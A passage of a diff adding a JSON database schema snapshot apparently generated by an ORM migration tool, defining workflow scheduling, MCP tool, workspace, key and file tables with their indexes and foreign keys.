"workflow_mcp_server_workspace_deleted_partial_idx": { + "name": "workflow_mcp_server_workspace_deleted_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workflow_mcp_server\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_mcp_server_workspace_id_workspace_id_fk": { + "name": "workflow_mcp_server_workspace_id_workspace_id_fk", + "tableFrom": "workflow_mcp_server", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_mcp_server_created_by_user_id_fk": { + "name": "workflow_mcp_server_created_by_user_id_fk", + "tableFrom": "workflow_mcp_server", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_mcp_tool": { + "name": "workflow_mcp_tool", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "server_id": { + "name": "server_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tool_name": { + "name": "tool_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tool_description": { + "name": "tool_description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parameter_schema": { + "name": "parameter_schema", + "type": "json", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "parameter_description_overrides": { + "name": "parameter_description_overrides", + "type": "json", + "primaryKey": false, + "notNull": true, + "default": "'{}'::json" + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_mcp_tool_server_id_idx": { + "name": "workflow_mcp_tool_server_id_idx", + "columns": [ + { + "expression": "server_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_mcp_tool_workflow_id_idx": { + "name": "workflow_mcp_tool_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_mcp_tool_server_workflow_unique": { + "name": "workflow_mcp_tool_server_workflow_unique", + "columns": [ + { + "expression": "server_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"workflow_mcp_tool\".\"archived_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_mcp_tool_archived_at_partial_idx": { + "name": "workflow_mcp_tool_archived_at_partial_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workflow_mcp_tool\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_mcp_tool_server_id_workflow_mcp_server_id_fk": { + "name": "workflow_mcp_tool_server_id_workflow_mcp_server_id_fk", + "tableFrom": "workflow_mcp_tool", + "tableTo": "workflow_mcp_server", + "columnsFrom": ["server_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_mcp_tool_workflow_id_workflow_id_fk": { + "name": "workflow_mcp_tool_workflow_id_workflow_id_fk", + "tableFrom": "workflow_mcp_tool", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_schedule": { + "name": "workflow_schedule", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deployment_version_id": { + "name": "deployment_version_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "block_id": { + "name": "block_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cron_expression": { + "name": "cron_expression", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "next_run_at": { + "name": "next_run_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_ran_at": { + "name": "last_ran_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_queued_at": { + "name": "last_queued_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "trigger_type": { + "name": "trigger_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'UTC'" + }, + "failed_count": { + "name": "failed_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "infra_retry_count": { + "name": "infra_retry_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "last_failed_at": { + "name": "last_failed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "source_type": { + "name": "source_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'workflow'" + }, + "job_title": { + "name": "job_title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "prompt": { + "name": "prompt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lifecycle": { + "name": "lifecycle", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'persistent'" + }, + "success_condition": { + "name": "success_condition", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "max_runs": { + "name": "max_runs", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "run_count": { + "name": "run_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "source_chat_id": { + "name": "source_chat_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_task_name": { + "name": "source_task_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_user_id": { + "name": "source_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_workspace_id": { + "name": "source_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "job_history": { + "name": "job_history", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "contexts": { + "name": "contexts", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "excluded_dates": { + "name": "excluded_dates", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "ends_at": { + "name": "ends_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_schedule_workflow_block_deployment_unique": { + "name": "workflow_schedule_workflow_block_deployment_unique", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "block_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deployment_version_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"workflow_schedule\".\"archived_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_schedule_workflow_deployment_idx": { + "name": "workflow_schedule_workflow_deployment_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deployment_version_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_schedule_archived_at_partial_idx": { + "name": "workflow_schedule_archived_at_partial_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workflow_schedule\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_workflow_schedule_on_source_workspace_id_source_t_c07f3bba6": { + "name": "idx_workflow_schedule_on_source_workspace_id_source_t_c07f3bba6", + "columns": [ + { + "expression": "source_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_schedule_due_workflow_idx": { + "name": "workflow_schedule_due_workflow_idx", + "columns": [ + { + "expression": "next_run_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "last_queued_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deployment_version_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workflow_schedule\".\"archived_at\" IS NULL AND \"workflow_schedule\".\"status\" NOT IN ('disabled', 'completed') AND (\"workflow_schedule\".\"source_type\" = 'workflow' OR \"workflow_schedule\".\"source_type\" IS NULL)", + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_schedule_due_job_idx": { + "name": "workflow_schedule_due_job_idx", + "columns": [ + { + "expression": "next_run_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "last_queued_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workflow_schedule\".\"archived_at\" IS NULL AND \"workflow_schedule\".\"status\" NOT IN ('disabled', 'completed') AND \"workflow_schedule\".\"source_type\" = 'job'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_schedule_workflow_id_workflow_id_fk": { + "name": "workflow_schedule_workflow_id_workflow_id_fk", + "tableFrom": "workflow_schedule", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_schedule_deployment_version_id_workflow_deployment_version_id_fk": { + "name": "workflow_schedule_deployment_version_id_workflow_deployment_version_id_fk", + "tableFrom": "workflow_schedule", + "tableTo": "workflow_deployment_version", + "columnsFrom": ["deployment_version_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_schedule_source_user_id_user_id_fk": { + "name": "workflow_schedule_source_user_id_user_id_fk", + "tableFrom": "workflow_schedule", + "tableTo": "user", + "columnsFrom": ["source_user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflow_schedule_source_workspace_id_workspace_id_fk": { + "name": "workflow_schedule_source_workspace_id_workspace_id_fk", + "tableFrom": "workflow_schedule", + "tableTo": "workspace", + "columnsFrom": ["source_workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_subflows": { + "name": "workflow_subflows", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workflow_subflows_workflow_id_idx": { + "name": "workflow_subflows_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_subflows_workflow_type_idx": { + "name": "workflow_subflows_workflow_type_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_subflows_workflow_id_workflow_id_fk": { + "name": "workflow_subflows_workflow_id_workflow_id_fk", + "tableFrom": "workflow_subflows", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace": { + "name": "workspace", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'#33C482'" + }, + "logo_url": { + "name": "logo_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "owner_id": { + "name": "owner_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workspace_mode": { + "name": "workspace_mode", + "type": "workspace_mode", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'grandfathered_shared'" + }, + "billed_account_user_id": { + "name": "billed_account_user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "allow_personal_api_keys": { + "name": "allow_personal_api_keys", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "inbox_enabled": { + "name": "inbox_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "inbox_address": { + "name": "inbox_address", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "inbox_provider_id": { + "name": "inbox_provider_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "forked_from_workspace_id": { + "name": "forked_from_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_owner_id_idx": { + "name": "workspace_owner_id_idx", + "columns": [ + { + "expression": "owner_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_organization_id_idx": { + "name": "workspace_organization_id_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_mode_idx": { + "name": "workspace_mode_idx", + "columns": [ + { + "expression": "workspace_mode", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_forked_from_workspace_id_idx": { + "name": "workspace_forked_from_workspace_id_idx", + "columns": [ + { + "expression": "forked_from_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_owner_id_user_id_fk": { + "name": "workspace_owner_id_user_id_fk", + "tableFrom": "workspace", + "tableTo": "user", + "columnsFrom": ["owner_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_organization_id_organization_id_fk": { + "name": "workspace_organization_id_organization_id_fk", + "tableFrom": "workspace", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + }, + "workspace_billed_account_user_id_user_id_fk": { + "name": "workspace_billed_account_user_id_user_id_fk", + "tableFrom": "workspace", + "tableTo": "user", + "columnsFrom": ["billed_account_user_id"], + "columnsTo": ["id"], + "onDelete": "no action", + "onUpdate": "no action" + }, + "workspace_forked_from_workspace_id_workspace_id_fk": { + "name": "workspace_forked_from_workspace_id_workspace_id_fk", + "tableFrom": "workspace", + "tableTo": "workspace", + "columnsFrom": ["forked_from_workspace_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_byok_keys": { + "name": "workspace_byok_keys", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "encrypted_api_key": { + "name": "encrypted_api_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_byok_workspace_provider_idx": { + "name": "workspace_byok_workspace_provider_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_byok_keys_workspace_id_workspace_id_fk": { + "name": "workspace_byok_keys_workspace_id_workspace_id_fk", + "tableFrom": "workspace_byok_keys", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_byok_keys_created_by_user_id_fk": { + "name": "workspace_byok_keys_created_by_user_id_fk", + "tableFrom": "workspace_byok_keys", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_environment": { + "name": "workspace_environment", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "variables": { + "name": "variables", + "type": "json", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_environment_workspace_unique": { + "name": "workspace_environment_workspace_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_environment_workspace_id_workspace_id_fk": { + "name": "workspace_environment_workspace_id_workspace_id_fk", + "tableFrom": "workspace_environment", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_file": { + "name": "workspace_file", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "size": { + "name": "size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "uploaded_by": { + "name": "uploaded_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "uploaded_at": { + "name": "uploaded_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_file_workspace_id_idx": { + "name": "workspace_file_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_file_key_idx": { + "name": "workspace_file_key_idx", + "columns": [ + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_file_deleted_at_idx": { + "name": "workspace_file_deleted_at_idx", + "columns": [ + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_file_workspace_deleted_partial_idx": { + "name": "workspace_file_workspace_deleted_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workspace_file\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_file_workspace_id_workspace_id_fk": { + "name": "workspace_file_workspace_id_workspace_id_fk", + "tableFrom": "workspace_file", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_file_uploaded_by_user_id_fk": { + "name": "workspace_file_uploaded_by_user_id_fk", + "tableFrom": "workspace_file", + "tableTo": "user", + "columnsFrom": ["uploaded_by"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "workspace_file_key_unique": { + "name": "workspace_file_key_unique", + "nullsNotDistinct": false, + "columns": ["key"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_file_folders": { + "name": "workspace_file_folders", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parent_id": { + "name": "parent_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sort_order": { + "name": "sort_order", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_file_folders_workspace_parent_idx": { + "name": "workspace_file_folders_workspace_parent_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_file_folders_parent_sort_idx": { + "name": "workspace_file_folders_parent_sort_idx", + "columns": [ + { + "expression": "parent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "sort_order", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_file_folders_deleted_at_idx": { + "name": "workspace_file_folders_deleted_at_idx", + "columns": [ + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_file_folders_workspace_deleted_partial_idx": { + "name": "workspace_file_folders_workspace_deleted_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workspace_file_folders\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_file_folders_workspace_parent_name_active_unique": { + "name": "workspace_file_folders_workspace_parent_name_active_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "coalesce(\"parent_id\", '')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"workspace_file_folders\".\"deleted_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_file_folders_user_id_user_id_fk": { + "name": "workspace_file_folders_user_id_user_id_fk", + "tableFrom": "workspace_file_folders", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_file_folders_workspace_id_workspace_id_fk": { + "name": "workspace_file_folders_workspace_id_workspace_id_fk", + "tableFrom": "workspace_file_folders", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_file_folders_parent_id_workspace_file_folders_id_fk": { + "name": "workspace_file_folders_parent_id_workspace_file_folders_id_fk", + "tableFrom": "workspace_file_folders", + "tableTo": "workspace_file_folders", + "columnsFrom": ["parent_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_files": { + "name": "workspace_files", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "folder_id": { + "name": "folder_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "context": { + "name": "context", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "chat_id": { + "name": "chat_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "original_name": { + "name": "original_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "display_name": { + "name": "display_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "content_type": { + "name": "content_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "size": { + "name": "size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "uploaded_at": { + "name": "uploaded_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_files_key_active_unique": { + "name": "workspace_files_key_active_unique", + "columns": [ + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"workspace_files\".\"deleted_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_workspace_folder_name_active_unique": { + "name": "workspace_files_workspace_folder_name_active_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "coalesce(\"folder_id\", '')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "original_name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"workspace_files\".\"deleted_at\" IS NULL AND \"workspace_files\".\"context\" = 'workspace' AND \"workspace_files\".\"workspace_id\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_chat_display_name_unique": { + "name": "workspace_files_chat_display_name_unique", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "display_name", + "isExpression": false, + "asc": true, + "nulls": "last" 